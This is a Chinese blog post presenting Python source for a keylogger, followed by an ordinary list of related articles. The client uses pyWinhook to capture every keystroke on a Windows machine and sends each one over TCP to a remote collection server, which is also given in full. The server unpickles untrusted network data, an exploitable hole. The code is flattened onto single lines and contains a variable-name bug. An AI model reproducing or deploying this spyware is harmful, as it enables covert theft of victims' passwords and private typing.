python实现监听键盘
python实现监听键盘
实现服务端
import pickle
from io import BytesIO
import socket#接收数据
def Server_Recive(ip,port):socket_obj = socket.socket(socket.AF_INET,socket.SOCK_STREAM)socket_obj.bind((ip,port))socket_obj.listen(5)file = 1while True:connection,address = socket_obj.accept()#接受的数据recieved_message = b''recieved_message_fragment = connection.recv(1024)while recieved_message_fragment:recieved_message += recieved_message_fragmentrecieved_message_fragment = connection.recv(1024)try:obj = pickle.loads(recieved_message)print(obj['Key'],end=' ')except EOFError:file_name = 'recv_image_' + str(file_on) + '.bmp'recv_image = open(file_name,'wb')recv_image.write(recieved_message)file_on += 1connection.close()if __name__ == '__main__':Server_IP = '0.0.0.0'Server_Port = 6666Server_Recive(Server_IP,Server_Port)
键盘监听程序
#键盘监听import pythoncom,pyWinhook,pickle,socket
from io import BytesIOdef Client_PIC(ip,port,obj):try:msg = pickle.dumps(obj)send_message = BytesIO(msg)send_message_fragment = send_message.read(1024)except:send_message = objsend_message_fragment = send_message.read(1024)socket_obj = socket.socket(socket.AF_INET,socket.SOCK_STREAM)socket_obj.connect((ip,port))while send_message_fragment:socket_obj.send(send_message_fragment)send_message_fragment = send_message.read(1024)socket_obj.close()def OnkeyBoardEvent(event):dict_key = {}dict_key['MessageName'] = event.MessageNamedict_key['Key'] = event.KeyClient_PIC('你自己的ip地址',6666,dict_key)return Truedef Keylogger():hm = pyWinhook.HookManager()hm.KeyDown = OnkeyBoardEventhm.HookKeyboard()pythoncom.PumpMessages()if __name__ == '__main__':Keylogger()
其中的pythoncom,pyWinhook百度查找安装方法,在此不赘述
运行(先运行服务端,而后运行监听程序)
python实现监听键盘相关推荐
- python hook技术,python hook监听事件详解
本文实例为大家分享了python hook监听事件的具体代码,供大家参考,具体内容如下 # -*- coding: utf-8 -*- # # by oldj http://oldj.net/ # i ...
- vue监听键盘Esc事件
mounted() {//监听键盘Esc按键事件let self = this;this.$nextTick(function() {document.addEventListener('keydow ...
- python麦克风监听_python实时监听麦克风
首先安装pyaudio 到官网下载pa_stable_v190600_20161030.tgz (←或者直接点击下载) 2, 下载之后解压进入文件夹 3, 在文件夹下打开命令行输入以下命令 conda ...
- 多处使用window监听键盘,只有一处生效
多处使用window监听键盘,只有一处生效: mounted() {window.onkeydown = (e) => {this.handleKeyDown(e)} } 使用的地方改为: mo ...
- python鼠标监听_用Python监听鼠标和键盘事件
PyHook是一个基于Python的"钩子"库,主要用于监听当前电脑上鼠标和键盘的事件.这个库依赖于另一个Python库PyWin32,如同名字所显示的,PyWin32只能运行在W ...
- python pyhook监听扫码_Python——pyHook监听鼠标键盘事件
pyHook包为Windows中的全局鼠标和键盘事件提供回调. 底层C库报告的信息包括事件的时间,事件发生的窗口名称,事件的值,任何键盘修饰符等. 而正常工作需要pythoncom等操作系统的API的 ...
- python socket监听端口_Python 用socket模块实现检测端口和检测web服务
检测端口 check_tcp_port.py #!/usr/bin/env python import socket import re import sys def check_server(add ...
- 群聊太多?三步教你用 Python 自动监听转发群消息
作者 | 猪哥 责编 | 伍杏玲 随着微信社交的兴起,我们加入的群也越来越多,一个不经意就被拉入好几个群,群是大家协同交流的平台,但是微信群却越来越泛滥,不知道大家有没有统计过自己浪费在毫无营养的群中 ...
- 用Python机器人监听微信群聊
随着微信社交的兴起,我们加入的群也越来越多,一个不经意就被拉入好几个群,群是大家协同交流的平台,但是微信群却越来越泛滥,不知道大家有没有统计过自己浪费在毫无营养的群中的时间? 因为群质量太低或者群太吵 ...
最新文章
- Symfony3.0 实践教程 (三) 安装与配置Symfony
- 方法到位,Linux也不难学会
- 拆解交易系统--异地多活
- gitlab新增ssh
- minute教会你shell
- spring编程式事务控制
- poj3685 二分套二分
- 地铁上怎么那么多钢管女郎?
- mysql like n_MySQL LIKE 子句
- Android深度探索(卷1)HAL与驱动开发学习笔记(8)
- 用例不全,质量如何保证?
- Jquery.EasyUI datebox控件
- 《现代操作系统(中文第四版)》课后习题答案 第一章 引论
- 强烈推荐12套开源微信小程序免费源码
- torch.optim
- jQ知识补全(供已经入门jq开发者)
- 丽博版魔都家居图鉴:如何住进《三十而已》的精致家
- 解决WPS每点击一下保存,就会出现tmp文件
- 使用Ultra Librarian生成Cadence Allegro的PCB封装库和OrCAD Capture CIS的原理图库
- [机缘参悟-31]:鬼谷子-抵巇[xī]篇-危机是危险与机会并存
热门文章
- 立创开源丨基于GD32E230C8T6芯片的开发评估板
- 在电脑上体验了 16 款手机 App 后,我很失望
- 台式计算机各种接口的名称,值得收藏的电脑接口大全(图文版)
- mysql五种查询句子和作用_MYSQL
- 操作系统-吸烟者问题(C++信号量实现)
- Enigma加解密算法实现C++
- [设计模式]单例模式的几种不同写法比较
- 搭建 Go 语言开发环境
- 【精品,你所不知道的IT高薪】【转贴】清华生7天猎头生活的发现!
- 为什么java缩进不能tab_为什么代码缩进时必须要用 Tab 而不能用空格